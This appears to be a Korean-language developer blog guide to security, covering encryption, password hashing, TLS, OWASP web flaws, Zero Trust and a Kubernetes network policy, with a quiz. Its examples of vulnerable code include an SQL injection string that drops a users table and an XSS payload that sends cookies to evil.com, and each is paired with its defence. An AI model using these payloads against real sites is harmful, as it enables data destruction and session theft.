- Published on
개발자를 위한 보안 완전 가이드 — 암호화부터 Zero Trust까지
- Authors
- Name

들어가며
"보안은 보안팀이 하는 거 아닌가요?" — 아닙니다. 코드를 쓰는 모든 개발자가 보안의 첫 번째 방어선입니다.
SQL Injection 하나로 수백만 건의 개인정보가 유출되고, XSS 하나로 사용자 세션이 탈취됩니다. 이 글에서 개발자가 반드시 알아야 할 보안 개념을 총정리합니다.
Part 1: 암호화 (Cryptography)
대칭키 암호화 (AES)
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
import os
# === Fernet (간단한 대칭키) ===
key = Fernet.generate_key()
f = Fernet(key)
plaintext = b"Hello, Security!"
ciphertext = f.encrypt(plaintext)
decrypted = f.decrypt(ciphertext)
assert decrypted == plaintext # ✅
# === AES-256-GCM (실무 표준) ===
key = AESGCM.generate_key(bit_length=256)
aesgcm = AESGCM(key)
nonce = os.urandom(12) # 96-bit nonce (매번 새로!)
# 암호화 + 인증 (AEAD: Authenticated Encryption with Associated Data)
ct = aesgcm.encrypt(nonce, b"sensitive data", b"metadata")
pt = aesgcm.decrypt(nonce, ct, b"metadata") # 복호화 + 무결성 검증
대칭키: 같은 키로 암호화/복호화
장점: 빠름 (AES-256: ~1 GB/s)
단점: 키 전달 문제 (어떻게 안전하게 키를 공유?)
용도: 데이터 암호화, 디스크 암호화, TLS 데이터 전송
비대칭키 암호화 (RSA, ECDSA)
from cryptography.hazmat.primitives.asymmetric import rsa, padding
from cryptography.hazmat.primitives import hashes
# 키 쌍 생성
private_key = rsa.generate_private_key(
public_exponent=65537,
key_size=2048
)
public_key = private_key.public_key()
# 암호화 (공개키로)
message = b"Secret message"
ciphertext = public_key.encrypt(
message,
padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
)
)
# 복호화 (개인키로)
plaintext = private_key.decrypt(ciphertext, padding.OAEP(
mgf=padding.MGF1(algorithm=hashes.SHA256()),
algorithm=hashes.SHA256(),
label=None
))
assert plaintext == message # ✅
비대칭키: 공개키(암호화) + 개인키(복호화)
장점: 키 교환 문제 해결 (공개키는 공개해도 OK)
단점: 느림 (RSA: ~1 KB/s, AES 대비 1000x 느림)
용도: TLS 키 교환, 전자 서명, SSH 인증
해싱 (Hashing) — 비밀번호 저장
import hashlib
import bcrypt
# ❌ 절대 하면 안 되는 것: 평문 저장
password = "mypassword123"
# ❌ 단순 해시 (레인보우 테이블 공격에 취약)
md5_hash = hashlib.md5(password.encode()).hexdigest()
sha256_hash = hashlib.sha256(password.encode()).hexdigest()
# ✅ bcrypt (솔트 + 느린 해싱 = 안전!)
salt = bcrypt.gensalt(rounds=12) # 솔트 생성 (2^12 반복)
hashed = bcrypt.hashpw(password.encode(), salt)
# 검증
is_valid = bcrypt.checkpw(password.encode(), hashed)
print(f"비밀번호 일치: {is_valid}") # True
# bcrypt가 안전한 이유:
# 1. 솔트: 같은 비밀번호도 다른 해시 → 레인보우 테이블 무력화
# 2. 느림: 의도적으로 느려서 브루트포스 방어 (GPU 공격 방어)
# 3. rounds 조절: 하드웨어 발전에 맞춰 난이도 증가
TLS 핸드셰이크 (HTTPS)
[Client] [Server]
│ │
│── ClientHello ────────────────▶│ 지원 암호 스위트 목록
│ │
│◀── ServerHello + 인증서 ───────│ 선택된 암호 + 서버 인증서
│ │
│ 서버 인증서 검증 (CA 체인) │
│ │
│── Key Exchange ───────────────▶│ ECDHE 공개값
│◀── Key Exchange ───────────────│ 서버 ECDHE 공개값
│ │
╔════════════════════════════════╗
║ 양쪽 모두 같은 대칭키 도출! ║
║ (Diffie-Hellman) ║
╚════════════════════════════════╝
│ │
│◄══ AES-256-GCM 암호화 통신 ══▶│
Part 2: 웹 보안 (OWASP Top 10)
SQL Injection
# ❌ 위험한 코드
username = "admin'; DROP TABLE users; --"
query = f"SELECT * FROM users WHERE username = '{username}'"
# → SELECT * FROM users WHERE username = 'admin'; DROP TABLE users; --'
# → 테이블 삭제!
# ✅ 파라미터 바인딩 (Prepared Statement)
cursor.execute(
"SELECT * FROM users WHERE username = %s",
(username,) # 입력을 데이터로만 취급, SQL로 해석 안 함
)
# ✅ ORM 사용 (SQLAlchemy, Django ORM)
user = User.query.filter_by(username=username).first()
XSS (Cross-Site Scripting)
# ❌ 위험한 코드 (사용자 입력을 그대로 출력)
comment = '<script>document.location="https://evil.com/steal?cookie="+document.cookie</script>'
# HTML에 그대로 삽입하면:
html = f"<div>{comment}</div>"
# → 쿠키 탈취!
# ✅ HTML 이스케이프
from markupsafe import escape
safe_html = f"<div>{escape(comment)}</div>"
# → <script>... (실행 안 됨)
# ✅ CSP (Content Security Policy) 헤더
# Content-Security-Policy: script-src 'self'; object-src 'none';
CSRF (Cross-Site Request Forgery)
# 공격: 사용자가 로그인 상태에서 악성 사이트 방문
# 악성 사이트에 숨겨진 폼이 자동으로 은행 이체 요청!
# ✅ CSRF 토큰 방어
from flask import Flask, session
import secrets
app = Flask(__name__)
@app.route('/transfer', methods=['POST'])
def transfer():
# 토큰 검증
if request.form['csrf_token'] != session['csrf_token']:
abort(403) # CSRF 공격 차단!
# 정상 처리
process_transfer(request.form)
# ✅ SameSite 쿠키
# Set-Cookie: session=abc; SameSite=Strict; Secure; HttpOnly
인증/인가 취약점
# ❌ IDOR (Insecure Direct Object Reference)
@app.route('/api/users/<user_id>/profile')
def get_profile(user_id):
return User.query.get(user_id).to_dict()
# user_id를 바꾸면 다른 사람 정보 조회 가능!
# ✅ 권한 검증 추가
@app.route('/api/users/<user_id>/profile')
@login_required
def get_profile(user_id):
if current_user.id != int(user_id) and not current_user.is_admin:
abort(403) # 권한 없음!
return User.query.get(user_id).to_dict()
Part 3: Zero Trust 아키텍처
전통 보안: "성벽 안은 안전" (Castle & Moat)
[인터넷] ──[방화벽]── [내부 네트워크: 모두 신뢰]
→ 내부 침입 시 무방비!
Zero Trust: "아무도 믿지 않는다"
[모든 요청] → [인증] → [인가] → [암호화] → [모니터링]
→ 내부든 외부든 매번 검증!
Zero Trust 원칙
1. Verify Explicitly (명시적 검증)
→ 모든 요청에 인증 + 인가 (위치/네트워크 무관)
2. Least Privilege (최소 권한)
→ 필요한 것만, 필요한 시간만 접근 허용
→ JIT (Just-In-Time) 권한 부여
3. Assume Breach (침해 가정)
→ 이미 뚫렸다고 가정하고 설계
→ 마이크로 세그멘테이션, 암호화, 모니터링
# Kubernetes Zero Trust: NetworkPolicy
apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-policy
spec:
podSelector:
matchLabels:
app: api-server
policyTypes:
- Ingress
- Egress
ingress:
- from:
- podSelector:
matchLabels:
app: frontend # 프론트엔드에서만 접근 허용
ports:
- port: 8080
egress:
- to:
- podSelector:
matchLabels:
app: database # DB에만 접근 허용
ports:
- port: 5432
# 나머지 모든 트래픽: 차단!
보안 체크리스트
[인증/인가]
✅ bcrypt/Argon2로 비밀번호 해싱 (SHA256 단독 사용 금지)
✅ JWT 서명 검증 + 만료 시간 설정
✅ OAuth 2.0 PKCE (SPA/모바일)
✅ MFA (다중 인증) 도입
✅ Rate Limiting (브루트포스 방어)
[입력 검증]
✅ SQL Injection: Prepared Statement / ORM
✅ XSS: HTML 이스케이프 + CSP 헤더
✅ CSRF: SameSite 쿠키 + CSRF 토큰
✅ Path Traversal: 파일명 검증
✅ SSRF: 내부 IP 차단
[통신/저장]
✅ HTTPS 필수 (TLS 1.3)
✅ HSTS 헤더
✅ 민감 데이터 암호화 (AES-256-GCM)
✅ 시크릿 관리: Vault / AWS Secrets Manager
✅ 로그에 비밀번호/토큰 절대 기록 금지
[인프라]
✅ Zero Trust 네트워크
✅ 컨테이너 이미지 스캔 (Trivy)
✅ 의존성 취약점 스캔 (Dependabot)
✅ WAF (Web Application Firewall)
✅ 침입 탐지/모니터링
📝 퀴즈 — 보안 (클릭해서 확인!)
Q1. 대칭키와 비대칭키 암호화의 차이와 각각의 용도는? ||대칭키: 같은 키로 암호화/복호화, 빠름 (AES) — 데이터 전송/저장 암호화. 비대칭키: 공개키/개인키 쌍, 느림 (RSA) — 키 교환, 전자 서명||
Q2. bcrypt가 SHA-256보다 비밀번호 저장에 안전한 이유는? ||1) 솔트로 레인보우 테이블 무력화 2) 의도적으로 느린 해싱으로 브루트포스 방어 3) rounds 조절로 미래 하드웨어 발전 대응||
Q3. SQL Injection의 근본 원인과 방어법은? ||근본 원인: 사용자 입력이 SQL 쿼리의 일부로 해석됨. 방어: Prepared Statement(파라미터 바인딩)으로 입력을 데이터로만 취급||
Q4. XSS와 CSRF의 차이는? ||XSS: 공격자의 스크립트가 피해자 브라우저에서 실행. CSRF: 피해자의 인증된 세션으로 공격자가 원하는 요청을 전송. XSS는 클라이언트, CSRF는 서버를 속이는 공격||
Q5. TLS 핸드셰이크에서 대칭키와 비대칭키가 각각 쓰이는 단계는? ||비대칭키: 핸드셰이크 단계에서 키 교환(ECDHE). 대칭키(AES): 데이터 전송 단계. 비대칭키로 안전하게 대칭키를 합의한 후, 빠른 대칭키로 실제 통신||
Q6. Zero Trust의 3원칙은? ||1) Verify Explicitly: 모든 요청을 명시적으로 인증/인가 2) Least Privilege: 최소 권한만 부여 3) Assume Breach: 이미 침해됐다고 가정하고 설계||
Q7. HSTS 헤더의 역할은? ||브라우저에게 해당 도메인은 HTTPS로만 접속하라고 지시. HTTP → HTTPS 리다이렉트 중 발생할 수 있는 중간자 공격 방지||